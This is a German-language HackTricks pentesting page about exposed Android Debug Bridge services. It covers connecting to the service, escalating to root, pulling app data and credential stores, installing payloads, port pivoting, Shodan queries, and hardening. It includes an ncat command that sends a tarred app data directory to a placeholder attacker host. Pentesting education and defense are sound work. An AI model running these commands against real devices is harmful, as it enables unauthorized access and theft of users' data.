# 5555 - Android Debug Bridge

{{#include ../banners/hacktricks-training.md}}

## Grundlegende Informationen

Von [den Dokumenten](https://developer.android.com/studio/command-line/adb):

Android Debug Bridge (adb) ist ein Befehlszeilenwerkzeug zur Kommunikation mit Android-basierten Geräten und Emulatoren. Typische Aktionen umfassen das Installieren von Paketen, Debugging und das Erhalten einer interaktiven Unix-Shell auf dem Gerät.

- Historischer Standard-TCP-Port: 5555 (klassischer "adb tcpip"-Modus).
- Modernes kabelloses Debugging (Android 11+) verwendet TLS-Paarung und mDNS-Dienstentdeckung. Der Verbindungsport ist dynamisch und wird über mDNS entdeckt; er muss nicht 5555 sein. Die Paarung erfolgt mit adb pair host:port gefolgt von adb connect. Siehe die untenstehenden Hinweise zu offensiven Implikationen.

Beispiel nmap-Fingerabdruck:
```
PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Verbinden

Wenn Sie ADB exponiert und erreichbar finden, versuchen Sie schnell zu verbinden und zu enumerieren:
```bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
```
- Wenn das Gerät die ADB-Authentifizierung durchsetzt (ro.adb.secure=1), müssen Sie vorab autorisiert sein (USB RSA-Authentifizierung) oder die drahtlose Debugging-Paarung von Android 11+ verwenden (die einen einmaligen Code erfordert, der auf dem Gerät angezeigt wird).
- Einige Herstellerbilder, Engineering-/Userdebug-Bauten, Emulatoren, Fernseher, STBs und Entwicklungskits setzen adbd ohne Authentifizierung oder mit adbd, das als Root ausgeführt wird, frei. In diesen Fällen landen Sie normalerweise direkt in einer Shell oder Root-Shell.

Für eine allgemeine ADB-Befehlsreferenz siehe:

{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}

## Schnelle Nachnutzung

Sobald Sie eine Shell haben, überprüfen Sie die Berechtigungen und den SELinux-Kontext:
```bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
### Auflisten und Erfassen von Daten

- Liste von Drittanbieter-Apps und Pfaden:
```bash
pm list packages -3
pm path <pkg>
```
- Wenn du Root hast (adb root oder su funktioniert), kannst du direkt auf /data zugreifen. Andernfalls bevorzuge run-as für debuggable Apps:
```bash
# Ohne Root, für eine debuggable App
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Mit Root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Nützliche Systemartefakte (Root erforderlich):
- /data/system/users/0/accounts.db und verwandte AccountManager-Daten
- /data/misc/wifi/ (Netzwerkkonfigurationen/Schlüssel in älteren Versionen)
- App-spezifische SQLite-Datenbanken und shared_prefs unter /data/data/<pkg>

Du kannst dies verwenden, um sensible Informationen abzurufen (z. B. App-Geheimnisse). Für Hinweise zu Chrome-Datenüberlegungen siehe das Problem, das [hier](https://github.com/carlospolop/hacktricks/issues/274) erwähnt wird.

### Codeausführung und Payload-Zustellung

- Installiere und gewähre automatisch Laufzeitberechtigungen:
```bash
adb install -r -g payload.apk         # -g gewährt alle im Manifest deklarierten Laufzeitberechtigungen
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Starte Aktivitäten/Dienste/Broadcasts direkt:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```

### Portweiterleitung und Pivotierung

Selbst ohne Root kann adb lokale Ports auf Geräteports und umgekehrt weiterleiten. Dies ist nützlich, um auf lokal auf dem Gerät gebundene Dienste zuzugreifen oder Angreiferdienste dem Gerät zur Verfügung zu stellen.

- Weiterleitung Host->Gerät (Zugriff auf einen geräte-lokalen Dienst von deinem Host):
```bash
adb forward tcp:2222 tcp:22       # Wenn das Gerät SSH ausführt (z. B. Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Exponiere den lokalen Debug-Server der App
```
- Umgekehrte Weiterleitung Gerät->Host (lass das Gerät einen Dienst auf deinem Host erreichen):
```bash
adb reverse tcp:1080 tcp:1080     # Geräte-Apps können jetzt host:1080 als 127.0.0.1:1080 erreichen
```
- Datei-Exfiltration über Sockets (keine sdcard-Schreibvorgänge):
```bash
# Auf dem Host: hören
ncat -lvp 9000 > dump.tar
# Auf dem Gerät: Verzeichnis als tar senden (Root oder run-as wie zutreffend)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```

## Drahtloses Debugging (Android 11+)

Modernes Android implementiert TLS-geschütztes drahtloses Debugging mit geräteseitiger Kopplung und mDNS-Entdeckung:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notizen
- Ports sind dynamisch; gehen Sie nicht von 5555 aus. mDNS-Dienstenamen sehen aus wie:
- _adb-tls-pairing._tcp (Pairing)
- _adb-tls-connect._tcp (gepaart verbinden)
- _adb._tcp (legacy/plain)
- Wenn mDNS gefiltert ist, kann das klassische USB-unterstützte Aktivieren möglicherweise bei einigen Builds noch funktionieren: `adb tcpip 5555` dann `adb connect <ip>:5555` (bis zum Neustart).

Offensive Implikationen: Wenn Sie mit der Benutzeroberfläche des Geräts interagieren können (z. B. physischer Zugriff oder falsche Konfiguration von mobilem MDM), um das kabellose Debugging zu aktivieren und den Pairing-Code anzuzeigen, können Sie einen langlebigen, gepaarten ADB-Kanal ohne Kabel einrichten. Einige OEMs bieten ADB über TCP in Engineering-/Entwicklungsbildern ohne Pairing an – immer überprüfen.

## Härtung / Erkennung

Verteidiger sollten davon ausgehen, dass jeder erreichbare adbd (TCP) ein kritisches Risiko darstellt.

- Deaktivieren Sie ADB und kabelloses Debugging, wenn nicht benötigt. Widerrufen Sie USB-Debugging-Berechtigungen in den Entwickleroptionen.
- Stellen Sie sicher, dass die Netzwerkpolitik eingehendes TCP/5555 und mDNS-basiertes ADB-Discovery in nicht vertrauenswürdigen Segmenten blockiert.
- Auf Geräten unter Ihrer Kontrolle:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # TCP-Listening deaktivieren (oder verwenden: adb usb)
stop adbd; start adbd             # Daemon neu starten
```
- Überwachen Sie mDNS-Einträge `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` in Unternehmensnetzwerken und alarmieren Sie bei unerwarteten 5555-Listenern.
- Inventarisieren Sie unsichere Builds: `getprop ro.debuggable`, `ro.build.type` und `ro.adb.secure`.

## Shodan

- android debug bridge
- port:5555 product:"Android Debug Bridge"

## Referenzen

- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB über Wi‑Fi, Pairing und mDNS-Dienstenamen: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}